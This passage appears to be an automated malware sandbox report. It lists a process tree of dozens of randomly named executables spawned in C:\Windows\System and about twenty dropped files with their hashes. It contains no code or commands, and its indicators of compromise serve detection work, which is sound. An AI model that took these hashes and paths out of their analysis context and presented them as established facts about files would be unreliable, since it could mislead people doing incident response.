- C:\Windows\System\lPLMBdD.exe
  C:\Windows\System\lPLMBdD.exe
  2⤵
  PID:8504
- C:\Windows\System\gbTVcdL.exe
  C:\Windows\System\gbTVcdL.exe
  2⤵
  PID:8520
- C:\Windows\System\aQPKaGA.exe
  C:\Windows\System\aQPKaGA.exe
  2⤵
  PID:8536
- C:\Windows\System\OdtDYKo.exe
  C:\Windows\System\OdtDYKo.exe
  2⤵
  PID:8552
- C:\Windows\System\JnSeoVo.exe
  C:\Windows\System\JnSeoVo.exe
  2⤵
  PID:8568
- C:\Windows\System\ddKbkIj.exe
  C:\Windows\System\ddKbkIj.exe
  2⤵
  PID:8584
- C:\Windows\System\HvYFBHe.exe
  C:\Windows\System\HvYFBHe.exe
  2⤵
  PID:8600
- C:\Windows\System\PWykUmr.exe
  C:\Windows\System\PWykUmr.exe
  2⤵
  PID:8616
- C:\Windows\System\lgSrClf.exe
  C:\Windows\System\lgSrClf.exe
  2⤵
  PID:8632
- C:\Windows\System\GEASAQP.exe
  C:\Windows\System\GEASAQP.exe
  2⤵
  PID:8648
- C:\Windows\System\BvqKjct.exe
  C:\Windows\System\BvqKjct.exe
  2⤵
  PID:8664
- C:\Windows\System\OBCAeKa.exe
  C:\Windows\System\OBCAeKa.exe
  2⤵
  PID:8680
- C:\Windows\System\PDHsPdT.exe
  C:\Windows\System\PDHsPdT.exe
  2⤵
  PID:8696
- C:\Windows\System\YdvSeUR.exe
  C:\Windows\System\YdvSeUR.exe
  2⤵
  PID:8712
- C:\Windows\System\McUlRsH.exe
  C:\Windows\System\McUlRsH.exe
  2⤵
  PID:8728
- C:\Windows\System\eZbeHBi.exe
  C:\Windows\System\eZbeHBi.exe
  2⤵
  PID:8744
- C:\Windows\System\iUlfYJR.exe
  C:\Windows\System\iUlfYJR.exe
  2⤵
  PID:8760
- C:\Windows\System\guaVXid.exe
  C:\Windows\System\guaVXid.exe
  2⤵
  PID:8776
- C:\Windows\System\RZmjhrG.exe
  C:\Windows\System\RZmjhrG.exe
  2⤵
  PID:8792
- C:\Windows\System\JqTlAZn.exe
  C:\Windows\System\JqTlAZn.exe
  2⤵
  PID:8808
- C:\Windows\System\IRjXTRm.exe
  C:\Windows\System\IRjXTRm.exe
  2⤵
  PID:8824
- C:\Windows\System\jMyGQsE.exe
  C:\Windows\System\jMyGQsE.exe
  2⤵
  PID:8840
- C:\Windows\System\hGbozWD.exe
  C:\Windows\System\hGbozWD.exe
  2⤵
  PID:8856
- C:\Windows\System\jtuurPQ.exe
  C:\Windows\System\jtuurPQ.exe
  2⤵
  PID:8872
- C:\Windows\System\NNePzMP.exe
  C:\Windows\System\NNePzMP.exe
  2⤵
  PID:8888
- C:\Windows\System\GxHysGH.exe
  C:\Windows\System\GxHysGH.exe
  2⤵
  PID:8904
- C:\Windows\System\vzkLQDK.exe
  C:\Windows\System\vzkLQDK.exe
  2⤵
  PID:8920
- C:\Windows\System\nGVpfLf.exe
  C:\Windows\System\nGVpfLf.exe
  2⤵
  PID:8936
- C:\Windows\System\XdBpkGy.exe
  C:\Windows\System\XdBpkGy.exe
  2⤵
  PID:8952
- C:\Windows\System\gsdLQwj.exe
  C:\Windows\System\gsdLQwj.exe
  2⤵
  PID:8968
- C:\Windows\System\UKRpUnB.exe
  C:\Windows\System\UKRpUnB.exe
  2⤵
  PID:8984
- C:\Windows\System\LwtlqGn.exe
  C:\Windows\System\LwtlqGn.exe
  2⤵
  PID:9000
- C:\Windows\System\velLGum.exe
  C:\Windows\System\velLGum.exe
  2⤵
  PID:9016
- C:\Windows\System\JQlYcNg.exe
  C:\Windows\System\JQlYcNg.exe
  2⤵
  PID:9036
- C:\Windows\System\VOvjEUD.exe
  C:\Windows\System\VOvjEUD.exe
  2⤵
  PID:9052
- C:\Windows\System\aHbrbVo.exe
  C:\Windows\System\aHbrbVo.exe
  2⤵
  PID:9068
- C:\Windows\System\DrEdikn.exe
  C:\Windows\System\DrEdikn.exe
  2⤵
  PID:9084
- C:\Windows\System\AYYqBBI.exe
  C:\Windows\System\AYYqBBI.exe
  2⤵
  PID:9100
- C:\Windows\System\NEkYCOB.exe
  C:\Windows\System\NEkYCOB.exe
  2⤵
  PID:9116
- C:\Windows\System\bmBvDKD.exe
  C:\Windows\System\bmBvDKD.exe
  2⤵
  PID:9132
- C:\Windows\System\JXUBtXW.exe
  C:\Windows\System\JXUBtXW.exe
  2⤵
  PID:9148
- C:\Windows\System\uNcCWwt.exe
  C:\Windows\System\uNcCWwt.exe
  2⤵
  PID:9164
- C:\Windows\System\zwPsPyM.exe
  C:\Windows\System\zwPsPyM.exe
  2⤵
  PID:9180
- C:\Windows\System\XOOOlGG.exe
  C:\Windows\System\XOOOlGG.exe
  2⤵
  PID:9196
- C:\Windows\System\OgFESqy.exe
  C:\Windows\System\OgFESqy.exe
  2⤵
  PID:9212
- C:\Windows\System\KEnpQwK.exe
  C:\Windows\System\KEnpQwK.exe
  2⤵
  PID:8240
- C:\Windows\System\JVERiWM.exe
  C:\Windows\System\JVERiWM.exe
  2⤵
  PID:8224
- C:\Windows\System\yYkjcaj.exe
  C:\Windows\System\yYkjcaj.exe
  2⤵
  PID:8272
- C:\Windows\System\gpsUyQM.exe
  C:\Windows\System\gpsUyQM.exe
  2⤵
  PID:8288
- C:\Windows\System\FrntblE.exe
  C:\Windows\System\FrntblE.exe
  2⤵
  PID:8292
- C:\Windows\System\RxRVcWO.exe
  C:\Windows\System\RxRVcWO.exe
  2⤵
  PID:8352
- C:\Windows\System\wnfdppQ.exe
  C:\Windows\System\wnfdppQ.exe
  2⤵
  PID:8480
- C:\Windows\System\XINTbfQ.exe
  C:\Windows\System\XINTbfQ.exe
  2⤵
  PID:8512
- C:\Windows\System\hBxrUzg.exe
  C:\Windows\System\hBxrUzg.exe
  2⤵
  PID:8576
- C:\Windows\System\hoOFQtg.exe
  C:\Windows\System\hoOFQtg.exe
  2⤵
  PID:8612
- C:\Windows\System\eODpjLD.exe
  C:\Windows\System\eODpjLD.exe
  2⤵
  PID:8644
- C:\Windows\System\sQyFeCh.exe
  C:\Windows\System\sQyFeCh.exe
  2⤵
  PID:8708
- C:\Windows\System\RYKNXua.exe
  C:\Windows\System\RYKNXua.exe
  2⤵
  PID:8372
- C:\Windows\System\dubfnao.exe
  C:\Windows\System\dubfnao.exe
  2⤵
  PID:8656
- C:\Windows\System\hGKMMfr.exe
  C:\Windows\System\hGKMMfr.exe
  2⤵
  PID:8496
- C:\Windows\System\VptpWlT.exe
  C:\Windows\System\VptpWlT.exe
  2⤵
  PID:8528
- C:\Windows\System\vRvjjVy.exe
  C:\Windows\System\vRvjjVy.exe
  2⤵
  PID:8724
- C:\Windows\System\ZXNiNUQ.exe
  C:\Windows\System\ZXNiNUQ.exe
  2⤵
  PID:8752
- C:\Windows\System\ePIIgZU.exe
  C:\Windows\System\ePIIgZU.exe
  2⤵
  PID:8816
- C:\Windows\System\LKBygTM.exe
  C:\Windows\System\LKBygTM.exe
  2⤵
  PID:8800
- C:\Windows\System\tJEXEWk.exe
  C:\Windows\System\tJEXEWk.exe
  2⤵
  PID:8852
- C:\Windows\System\PZdbdpg.exe
  C:\Windows\System\PZdbdpg.exe
  2⤵
  PID:8896
- C:\Windows\System\kMWjRVK.exe
  C:\Windows\System\kMWjRVK.exe
  2⤵
  PID:8912
- C:\Windows\System\jpfZfUo.exe
  C:\Windows\System\jpfZfUo.exe
  2⤵
  PID:8976
- C:\Windows\System\hqjfnEf.exe
  C:\Windows\System\hqjfnEf.exe
  2⤵
  PID:9044
- C:\Windows\System\dSPhbXk.exe
  C:\Windows\System\dSPhbXk.exe
  2⤵
  PID:9108
- C:\Windows\System\idvrkrq.exe
  C:\Windows\System\idvrkrq.exe
  2⤵
  PID:9144
- C:\Windows\System\MiMirtW.exe
  C:\Windows\System\MiMirtW.exe
  2⤵
  PID:9064
- C:\Windows\System\XJeKvso.exe
  C:\Windows\System\XJeKvso.exe
  2⤵
  PID:9024
- C:\Windows\System\hCfWCLO.exe
  C:\Windows\System\hCfWCLO.exe
  2⤵
  PID:9128
- C:\Windows\System\jjOvlWa.exe
  C:\Windows\System\jjOvlWa.exe
  2⤵
  PID:8388
- C:\Windows\System\iSyEPez.exe
  C:\Windows\System\iSyEPez.exe
  2⤵
  PID:9156
- C:\Windows\System\qCylcxk.exe
  C:\Windows\System\qCylcxk.exe
  2⤵
  PID:8640
- C:\Windows\System\rPZNEkX.exe
  C:\Windows\System\rPZNEkX.exe
  2⤵
  PID:8452
- C:\Windows\System\TDyaAdd.exe
  C:\Windows\System\TDyaAdd.exe
  2⤵
  PID:8368
- C:\Windows\System\zbFAWio.exe
  C:\Windows\System\zbFAWio.exe
  2⤵
  PID:8560
- C:\Windows\System\LysEUkD.exe
  C:\Windows\System\LysEUkD.exe
  2⤵
  PID:8832
- C:\Windows\System\SIMowmy.exe
  C:\Windows\System\SIMowmy.exe
  2⤵
  PID:9008
- C:\Windows\System\MZjwpmN.exe
  C:\Windows\System\MZjwpmN.exe
  2⤵
  PID:8992
- C:\Windows\System\LgTNwBG.exe
  C:\Windows\System\LgTNwBG.exe
  2⤵
  PID:7992
- C:\Windows\System\XveUdaY.exe
  C:\Windows\System\XveUdaY.exe
  2⤵
  PID:8320
- C:\Windows\System\EhaUiZW.exe
  C:\Windows\System\EhaUiZW.exe
  2⤵
  PID:8340
- C:\Windows\System\vrsLFWg.exe
  C:\Windows\System\vrsLFWg.exe
  2⤵
  PID:8628
- C:\Windows\System\cqJPlyn.exe
  C:\Windows\System\cqJPlyn.exe
  2⤵
  PID:8692
- C:\Windows\System\ADNeOqY.exe
  C:\Windows\System\ADNeOqY.exe
  2⤵
  PID:8768
- C:\Windows\System\cJywcXD.exe
  C:\Windows\System\cJywcXD.exe
  2⤵
  PID:8944
- C:\Windows\System\FdhjrbY.exe
  C:\Windows\System\FdhjrbY.exe
  2⤵
  PID:9204
- C:\Windows\System\alTTMWy.exe
  C:\Windows\System\alTTMWy.exe
  2⤵
  PID:8400
- C:\Windows\System\xHntShW.exe
  C:\Windows\System\xHntShW.exe
  2⤵
  PID:8660
- C:\Windows\System\xTfhVEa.exe
  C:\Windows\System\xTfhVEa.exe
  2⤵
  PID:8880
- C:\Windows\System\lsRgSJg.exe
  C:\Windows\System\lsRgSJg.exe
  2⤵
  PID:9032
- C:\Windows\System\vIEZSFd.exe
  C:\Windows\System\vIEZSFd.exe
  2⤵
  PID:9080
- C:\Windows\System\ABpJiOj.exe
  C:\Windows\System\ABpJiOj.exe
  2⤵
  PID:8436
- C:\Windows\System\zFhKRFX.exe
  C:\Windows\System\zFhKRFX.exe
  2⤵
  PID:8676
- C:\Windows\System\aYwSiyI.exe
  C:\Windows\System\aYwSiyI.exe
  2⤵
  PID:8788
- C:\Windows\System\hKnlOly.exe
  C:\Windows\System\hKnlOly.exe
  2⤵
  PID:8384
- C:\Windows\System\vnnLYyu.exe
  C:\Windows\System\vnnLYyu.exe
  2⤵
  PID:8072
- C:\Windows\System\mEdZosr.exe
  C:\Windows\System\mEdZosr.exe
  2⤵
  PID:8208
- C:\Windows\System\uitRRRa.exe
  C:\Windows\System\uitRRRa.exe
  2⤵
  PID:8884
- C:\Windows\System\IamBzSV.exe
  C:\Windows\System\IamBzSV.exe
  2⤵
  PID:8260
- C:\Windows\System\KrtHTWt.exe
  C:\Windows\System\KrtHTWt.exe
  2⤵
  PID:8548
- C:\Windows\System\TGCYWVg.exe
  C:\Windows\System\TGCYWVg.exe
  2⤵
  PID:9188
- C:\Windows\System\rsVOUIG.exe
  C:\Windows\System\rsVOUIG.exe
  2⤵
  PID:9232
- C:\Windows\System\rqUfxmn.exe
  C:\Windows\System\rqUfxmn.exe
  2⤵
  PID:9248
- C:\Windows\System\NepCwnS.exe
  C:\Windows\System\NepCwnS.exe
  2⤵
  PID:9264
- C:\Windows\System\imeUMdR.exe
  C:\Windows\System\imeUMdR.exe
  2⤵
  PID:9280
- C:\Windows\System\NWsztiM.exe
  C:\Windows\System\NWsztiM.exe
  2⤵
  PID:9296
- C:\Windows\System\fVVSoKB.exe
  C:\Windows\System\fVVSoKB.exe
  2⤵
  PID:9312
- C:\Windows\System\pKtCPLg.exe
  C:\Windows\System\pKtCPLg.exe
  2⤵
  PID:9328
- C:\Windows\System\GmeMNHy.exe
  C:\Windows\System\GmeMNHy.exe
  2⤵
  PID:9344
- C:\Windows\System\QJPfRWL.exe
  C:\Windows\System\QJPfRWL.exe
  2⤵
  PID:9360
- C:\Windows\System\qYgqltX.exe
  C:\Windows\System\qYgqltX.exe
  2⤵
  PID:9376
- C:\Windows\System\kvLNVWa.exe
  C:\Windows\System\kvLNVWa.exe
  2⤵
  PID:9392
- C:\Windows\System\whXeHem.exe
  C:\Windows\System\whXeHem.exe
  2⤵
  PID:9408
- C:\Windows\System\DiIwGUn.exe
  C:\Windows\System\DiIwGUn.exe
  2⤵
  PID:9424
- C:\Windows\System\JzIfOHp.exe
  C:\Windows\System\JzIfOHp.exe
  2⤵
  PID:9440
- C:\Windows\System\vnzahcf.exe
  C:\Windows\System\vnzahcf.exe
  2⤵
  PID:9456
- C:\Windows\System\dwNULfM.exe
  C:\Windows\System\dwNULfM.exe
  2⤵
  PID:9472
- C:\Windows\System\uBlTVAj.exe
  C:\Windows\System\uBlTVAj.exe
  2⤵
  PID:9488
- C:\Windows\System\VEISlRz.exe
  C:\Windows\System\VEISlRz.exe
  2⤵
  PID:9504
- C:\Windows\System\GtMzDUF.exe
  C:\Windows\System\GtMzDUF.exe
  2⤵
  PID:9520
- C:\Windows\System\wKcuRAT.exe
  C:\Windows\System\wKcuRAT.exe
  2⤵
  PID:9536
- C:\Windows\System\AGtbktf.exe
  C:\Windows\System\AGtbktf.exe
  2⤵
  PID:9552
- C:\Windows\System\jMSpnid.exe
  C:\Windows\System\jMSpnid.exe
  2⤵
  PID:9568
- C:\Windows\System\xIJgFjI.exe
  C:\Windows\System\xIJgFjI.exe
  2⤵
  PID:9584
- C:\Windows\System\tSqMgEl.exe
  C:\Windows\System\tSqMgEl.exe
  2⤵
  PID:9600
- C:\Windows\System\bAACveM.exe
  C:\Windows\System\bAACveM.exe
  2⤵
  PID:9616
- C:\Windows\System\tQopjrR.exe
  C:\Windows\System\tQopjrR.exe
  2⤵
  PID:9632
- C:\Windows\System\OtXQjOD.exe
  C:\Windows\System\OtXQjOD.exe
  2⤵
  PID:9648
- C:\Windows\System\PieMyeF.exe
  C:\Windows\System\PieMyeF.exe
  2⤵
  PID:9664
- C:\Windows\System\LyHDbsW.exe
  C:\Windows\System\LyHDbsW.exe
  2⤵
  PID:9680
- C:\Windows\System\sutwHOC.exe
  C:\Windows\System\sutwHOC.exe
  2⤵
  PID:9696
- C:\Windows\System\YnpdRcw.exe
  C:\Windows\System\YnpdRcw.exe
  2⤵
  PID:9712
- C:\Windows\System\HcPqJXA.exe
  C:\Windows\System\HcPqJXA.exe
  2⤵
  PID:9728
- C:\Windows\System\bCPzpNV.exe
  C:\Windows\System\bCPzpNV.exe
  2⤵
  PID:9744
- C:\Windows\System\dDSKFyh.exe
  C:\Windows\System\dDSKFyh.exe
  2⤵
  PID:9760
- C:\Windows\System\qScbiOV.exe
  C:\Windows\System\qScbiOV.exe
  2⤵
  PID:9776
- C:\Windows\System\CfTrhCF.exe
  C:\Windows\System\CfTrhCF.exe
  2⤵
  PID:9792
- C:\Windows\System\JwvCtBo.exe
  C:\Windows\System\JwvCtBo.exe
  2⤵
  PID:9808
- C:\Windows\System\NiLGUVr.exe
  C:\Windows\System\NiLGUVr.exe
  2⤵
  PID:9824
- C:\Windows\System\xDGkQCw.exe
  C:\Windows\System\xDGkQCw.exe
  2⤵
  PID:9840
- C:\Windows\System\Yyjajpe.exe
  C:\Windows\System\Yyjajpe.exe
  2⤵
  PID:9856
- C:\Windows\System\iFINDqG.exe
  C:\Windows\System\iFINDqG.exe
  2⤵
  PID:9872
- C:\Windows\System\iwlBCTI.exe
  C:\Windows\System\iwlBCTI.exe
  2⤵
  PID:9888
- C:\Windows\System\JJqaBtY.exe
  C:\Windows\System\JJqaBtY.exe
  2⤵
  PID:9904
- C:\Windows\System\OuZyjkI.exe
  C:\Windows\System\OuZyjkI.exe
  2⤵
  PID:9920
- C:\Windows\System\NBtdeWZ.exe
  C:\Windows\System\NBtdeWZ.exe
  2⤵
  PID:9936
- C:\Windows\System\SHTQzZz.exe
  C:\Windows\System\SHTQzZz.exe
  2⤵
  PID:9952
- C:\Windows\System\ubkMkph.exe
  C:\Windows\System\ubkMkph.exe
  2⤵
  PID:9968
- C:\Windows\System\fGZlglm.exe
  C:\Windows\System\fGZlglm.exe
  2⤵
  PID:9984
- C:\Windows\System\eVGrtyU.exe
  C:\Windows\System\eVGrtyU.exe
  2⤵
  PID:10000
- C:\Windows\System\YOWjyVY.exe
  C:\Windows\System\YOWjyVY.exe
  2⤵
  PID:10016
- C:\Windows\System\lsnAUXS.exe
  C:\Windows\System\lsnAUXS.exe
  2⤵
  PID:10036
- C:\Windows\System\mlDoMvm.exe
  C:\Windows\System\mlDoMvm.exe
  2⤵
  PID:10052
- C:\Windows\System\mukrSFt.exe
  C:\Windows\System\mukrSFt.exe
  2⤵
  PID:10068
- C:\Windows\System\SqGIpgc.exe
  C:\Windows\System\SqGIpgc.exe
  2⤵
  PID:10084
- C:\Windows\System\SCDgCyX.exe
  C:\Windows\System\SCDgCyX.exe
  2⤵
  PID:10100
- C:\Windows\System\yLhRaGJ.exe
  C:\Windows\System\yLhRaGJ.exe
  2⤵
  PID:10116
- C:\Windows\System\fbKYzbb.exe
  C:\Windows\System\fbKYzbb.exe
  2⤵
  PID:10132
- C:\Windows\System\HxqqXCH.exe
  C:\Windows\System\HxqqXCH.exe
  2⤵
  PID:10148
- C:\Windows\System\PODArcN.exe
  C:\Windows\System\PODArcN.exe
  2⤵
  PID:10164
- C:\Windows\System\wcPpIso.exe
  C:\Windows\System\wcPpIso.exe
  2⤵
  PID:10180
- C:\Windows\System\IitSiZW.exe
  C:\Windows\System\IitSiZW.exe
  2⤵
  PID:10196
- C:\Windows\System\VoeNVFw.exe
  C:\Windows\System\VoeNVFw.exe
  2⤵
  PID:10212
- C:\Windows\System\DmyLBCg.exe
  C:\Windows\System\DmyLBCg.exe
  2⤵
  PID:10228
- C:\Windows\System\cokkRiM.exe
  C:\Windows\System\cokkRiM.exe
  2⤵
  PID:8448
- C:\Windows\System\XwcTRNQ.exe
  C:\Windows\System\XwcTRNQ.exe
  2⤵
  PID:9256
- C:\Windows\System\vigotGf.exe
  C:\Windows\System\vigotGf.exe
  2⤵
  PID:9240
- C:\Windows\System\OAeGQrD.exe
  C:\Windows\System\OAeGQrD.exe
  2⤵
  PID:9276
- C:\Windows\System\jNBBbjJ.exe
  C:\Windows\System\jNBBbjJ.exe
  2⤵
  PID:9340
- C:\Windows\System\WnXvyfx.exe
  C:\Windows\System\WnXvyfx.exe
  2⤵
  PID:9320
- C:\Windows\System\gfxLaVy.exe
  C:\Windows\System\gfxLaVy.exe
  2⤵
  PID:9352
- C:\Windows\System\pRcexky.exe
  C:\Windows\System\pRcexky.exe
  2⤵
  PID:9404
- C:\Windows\System\hmdQCNG.exe
  C:\Windows\System\hmdQCNG.exe
  2⤵
  PID:9464
- C:\Windows\System\RfMHGJK.exe
  C:\Windows\System\RfMHGJK.exe
  2⤵
  PID:9452
- C:\Windows\System\ptwLjZd.exe
  C:\Windows\System\ptwLjZd.exe
  2⤵
  PID:9512
- C:\Windows\System\JJrPFxx.exe
  C:\Windows\System\JJrPFxx.exe
  2⤵
  PID:9560
- C:\Windows\System\WyBxRbP.exe
  C:\Windows\System\WyBxRbP.exe
  2⤵
  PID:9624
- C:\Windows\System\CJEwpjV.exe
  C:\Windows\System\CJEwpjV.exe
  2⤵
  PID:9576
- C:\Windows\System\PtRdlpu.exe
  C:\Windows\System\PtRdlpu.exe
  2⤵
  PID:9612
- C:\Windows\System\gnNVMMW.exe
  C:\Windows\System\gnNVMMW.exe
  2⤵
  PID:9688
- C:\Windows\System\OAetvFc.exe
  C:\Windows\System\OAetvFc.exe
  2⤵
  PID:9720
- C:\Windows\System\LqtIPRi.exe
  C:\Windows\System\LqtIPRi.exe
  2⤵
  PID:9724
- C:\Windows\System\CoLRCzX.exe
  C:\Windows\System\CoLRCzX.exe
  2⤵
  PID:9756

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AKeXjpQ.exe

Filesize
2.3MB

MD5
98b067611f0e9ea1ed6d99f049c57674

SHA1
e980ce571c68b3764648ec7c708c489907cb5746

SHA256
2c0d2ed4b37fdd510f1ceb76a0c9c921d822a2d6b05727530f67ae7c0dc25225

SHA512
6b9acedecdb8620a88f9f719e16a3b8428634387067526759a71deb5f5bfb77dd00caf0bf081ce9a21eb0d6a1835569385b6f4bc85fe3f24fbbb24c4651dfca3

Download Submit
C:\Windows\system\APRGfdP.exe

Filesize
2.3MB

MD5
683f2c0cc8b87cbda5f0ccf2a17d1f37

SHA1
28d5b7394bc070608d8ac21a4570b8896949de7b

SHA256
45d96048ec3ab9cdd7bcec15bfaf3bc263d42bc65194408ee15313d670f3c913

SHA512
839f43c69dde47750d6d0644eae3b35455c5e750d6a211a8b8a2b043f6ee38b0a9c869801c580f9a6efbc4745e88231ed861f833814ca10c02409658e0525e37

Download Submit
C:\Windows\system\CSCDpbI.exe

Filesize
2.3MB

MD5
8f2ebb0280e8ff10fc866989294e503a

SHA1
be2e2e96ea40eac6ccbfa4af55142d949abed54a

SHA256
acbfce8f375f0d8fa37196c1c964b56217f09afeae97a96265884ec7048bcbd6

SHA512
0952cd7c51f7a5f53e9c189aac4991aa9bc05d7b6061e2d99b8e5d7c0cca6c5de654ebf9cf8c0daa75399f3a1c0bad69ba914de559baa53ba7bbaa40a635d30d

Download Submit
C:\Windows\system\GLpwrKj.exe

Filesize
2.3MB

MD5
23520fb74dd0e3f56a0cc345fc73374c

SHA1
41b29303e2904dad2fe00219caabfdd47eb4ad25

SHA256
d45b038ad5e24e849d5702ac0d2fa46d25b2230b32ffe770b0258ae7baee9428

SHA512
a4014e2468c6a18f3126fb71e0e8597cb4235ee0f772cc92cd389cb9ff3c0dffebcd6a8a89fef1f7aeb59ca9124fc805dd11e4cf6f0c7f8629f9a1dc59077b3c

Download Submit
C:\Windows\system\JEsYiVS.exe

Filesize
2.3MB

MD5
8b9789d29a791afae19ec70ad5f586d7

SHA1
dd236db31e8562f59a1ba622ba6dbbc22afbf720

SHA256
405efdd570fed9c11de1e29b91550e11a5604898ee3b33b816155d7c156a8b1d

SHA512
f8956c353c9bb30debd4baa5eb8f1a0fba14239fdc21e2dea397ffe078091c01fc43d19a95da43e2684ab9424e02539eb468402e38a8fad3d7d59af42244bcef

Download Submit
C:\Windows\system\JLDhZFe.exe

Filesize
2.3MB

MD5
6c0e1ebd6aeb414ce36aa37113aa02fc

SHA1
13a06ee1f04d547b2fb99a5f143301a755ddc083

SHA256
b7ac18cfe11b9f709e74a0663660c1f50867570b39476722983d5651cb6d3e4b

SHA512
e882e5ad3e85e24e40a5aae30cdf5e28384be5b6fbe6ad395453b269a074ed6cd89932e7ab6d258ff930649512996dda66822e69817641a89dae164c2dd22fe2

Download Submit
C:\Windows\system\LpbIpuE.exe

Filesize
2.3MB

MD5
4a5d48d0c847c617d8066c018daebaa2

SHA1
041a19f5cbe69717f8b677d94429dac73cc18914

SHA256
0af20d72c9c0572782e840f3ce8e6a7ae3e4811a965fd55619de02d5d6e774a6

SHA512
42385474f131caa0b36e58c94d92d6cc52a5da4548de3b0fa06056bd498af35eb2bdd706b8eb98cfd701fc3c4b5cd54f634b0e7360b70f16ca39db9e371ad155

Download Submit
C:\Windows\system\MvBobCa.exe

Filesize
2.3MB

MD5
0e691d9489fab60c68eb683b3abcf53d

SHA1
a88886a093732091d1d67257715295e86e611760

SHA256
314ddb8d2bb3854bbf7d4e8dfb35e20bbfed77678a637f427d0840a573707cf7

SHA512
163a30c513a82fd13688774332be1505562acb99a49d298532b66cd74e5dd1c555d04e9970eccb7a3e63f1b3c0498fb005ff4f76478b8969ba61567a7f2a1bab

Download Submit
C:\Windows\system\NbqIQgm.exe

Filesize
2.3MB

MD5
9d26e00ffa181cbb0f4f6a1d6c192603

SHA1
db5b65382577600467e805d8a8b21405f5ab829f

SHA256
d278fb7b2617986a4d08797b2a402459574845db05b08f76c59966404b97c176

SHA512
8abebc4d46387f9d56de50f1e8fa7f4c956088b7f54502b3d0882203de2dddcc7a8426ac0b78d9d54b044a0009333b52af2b1533c6bac1b2b6dc3a8798ea39ce

Download Submit
C:\Windows\system\NiOrxVM.exe

Filesize
2.3MB

MD5
957912fc7fbfe1f7f97316e14fdee6e6

SHA1
9168828065a9891d135144c46a0818ffe5b4d92b

SHA256
f43ed2d017bb52f9dc4072e65c4cf490919ffba8b9d29623b6ba7a8850c0f2f2

SHA512
02690e60830b5750018fa99754472722523e6dbd7d43b4722ab21beef86865b6505b0231409f2c4b2d62675e57337065cb85a9fa0542faad3e26cd40bc36961e

Download Submit
C:\Windows\system\ZxBpfPT.exe

Filesize
2.3MB

MD5
61adf564f4a23b67977538f280fe6e8a

SHA1
34f0dcbe36ce523b47f7097efe2197bc2fa04390

SHA256
d40ba2c0db76fd06b373687aafb2861db7d435bb2e0264fff23ed23262eab9a8

SHA512
ca9a2b0660ca0d2a7aa51ae3e7fb8f612ead22e23ad65b83bda6bda15f03a15ae9ac227b8eada19c2f03740cb137af79246f90be8921c9a45ef71da1e917384a

Download Submit
C:\Windows\system\cgequIX.exe

Filesize
2.3MB

MD5
74d42a09b5f66727f982f6bcc0d073aa

SHA1
6e7a956a335ad782c919788a0ed6889548f53d86

SHA256
4cd3a65190c724846f065bd41e73cf430a28949c4c060ef64e597d0bc8cfcc9b

SHA512
87f0c39854c420b01a3a3dc0b0a2abdeb9a5cae1b20cc0fe80e84603499751dbd235e2191d5f38c5cc598e5af5a07d3dd53471d2daf945df920b7bb80992d9fa

Download Submit
C:\Windows\system\etXsOqw.exe

Filesize
2.3MB

MD5
e305b33a24d1ab2fa4a471a66fa1331b

SHA1
8c748949726b3147febd2a0527c0de0da376966d

SHA256
1997a09b624a483903677dfa44e38542c404ee03d77e97935b456a5d0092940f

SHA512
261bbfe711c7e9dc63ca3fe4ab9bbb5aa23d8da3e32568dbfe90df629bb7ce1db4aabce886a53a151ad595fdc957201d907d239739efb4a3383a2fe5340c1fb0

Download Submit
C:\Windows\system\kyGLUbI.exe

Filesize
2.3MB

MD5
a76ac45e8c98a8bafec2c9e15773d7bd

SHA1
eb0db266d331350683a4d8b9f5a169388c20c694

SHA256
5792762acea6b57936a01124aa4f18c97144bb8f460ba863c1b07efae6c07297

SHA512
011f11fa66b77c1bc61e69f482ad032c9a644593502b74b68a098ba0240f0e2f34c509e6d9d734ee28f7fd7c37438ef4c48c2ab31b65da391c8baa2670079a4d

Download Submit
C:\Windows\system\msPXyeF.exe

Filesize
2.3MB

MD5
d4896e13f803f15fcb982473b8e8cc06

SHA1
5ae5ea993f368d68ac7521e6881c0627a61183f3

SHA256
5ad9f8560a9400490eaa932bec1fef6f9f8a04a3666f5b67b21783e995f13d7d

SHA512
15668b181222609b825071fc0fdc63958afeaa9ed0041b940ee9e304e9528ce03a01aada8c276481a17f78d32f477f6082930a70f2e157b0cb0aa97cdb712e9f

Download Submit
C:\Windows\system\nuhMCtA.exe

Filesize
2.3MB

MD5
dd4c5ef3afc9c27a59cfc00dbbab24ac

SHA1
163833f661e87c0f9791941d025a08fd6e489e4d

SHA256
580244ace78890d944e312386dadbea38686a961d1fa92881281758ca4ca83ae

SHA512
f59f79127d50b5a4a94f894ddcc110be10528edb1f9d9eca54118cdef9597cb5089459100700481a0515e18697da733a7a1498c5744c34fc76b2cc81ab81502e

Download Submit
C:\Windows\system\pnYRxRT.exe

Filesize
2.3MB

MD5
f14289f19376d6bf4482f1dd03af8ff4

SHA1
1c52b0893e56cb9720912e137e65b3880c0b4a94

SHA256
1a4a742bc3fb277e8429aa2cac11d38300e9575d2e1af7312cc5388584c21335

SHA512
106977b1854db185b81436f1fe6df5e461c4e8382614cce664d2d2dbac027fcd9f6c20f7ff8d60e4d0e1141f600c641752e39d4dd2c6e27a07c0dd632af730b0

Download Submit
C:\Windows\system\uaLZpOT.exe

Filesize
2.3MB

MD5
c1fe815b398cadf18c720b8d7086618f

SHA1
08f3081f995fe8cf30dbad22a23d1dda704fb0b0

SHA256
a76db02beb921ee2581f2e2c320bd08d4f5d379c7a5abff925e12dbfb9c8b82f

SHA512
a54ede205be32cdb2ee6c6509d30506e64c688939b9b0a8b7dcb5ae8ecac093d527cabd30c02f284510305d691b186adc6f0546005a34815537b159abd9439c5

Download Submit
C:\Windows\system\vIaTeYS.exe

Filesize
2.3MB

MD5
2b397ae9fbd60d61bd21d83462f25760

SHA1
c504fe233de9c32597127b74b7ff4287d2f141f9

SHA256
6a5b02bb3f625cd054f6fefc8d526d8496a2c1db958bb7dc9a2d5fdeadad3819

SHA512
40933ef76bb866fafb2da899da420fab0db2633932f2092bf43912d26f2ab6fcc6acf1a399377e0560450a9e3d4d5b479bde2ebe2fca3fd80f5851249a81b6e9

Download Submit
C:\Windows\system\vlCtfLD.exe

Filesize
2.3MB

MD5
b97ccec35473f09beb9cfabf6182ca44

SHA1
2d12a6a3df2b1745c8019605b1075420b9e83aec

SHA256
35f0e26f6a09fe28c750248c6090b741db50f800d5be70058d1aba0b222814f0

SHA512
7090a2758bcfe0d3aa39bd64dd047f2e39a2a4b65208c5a4e9f4ddaf169a9e08715c745a6fa7e785091cb930dcf4374762d12e2aedd8b28b3812a47db77ba7c8

Download Submit
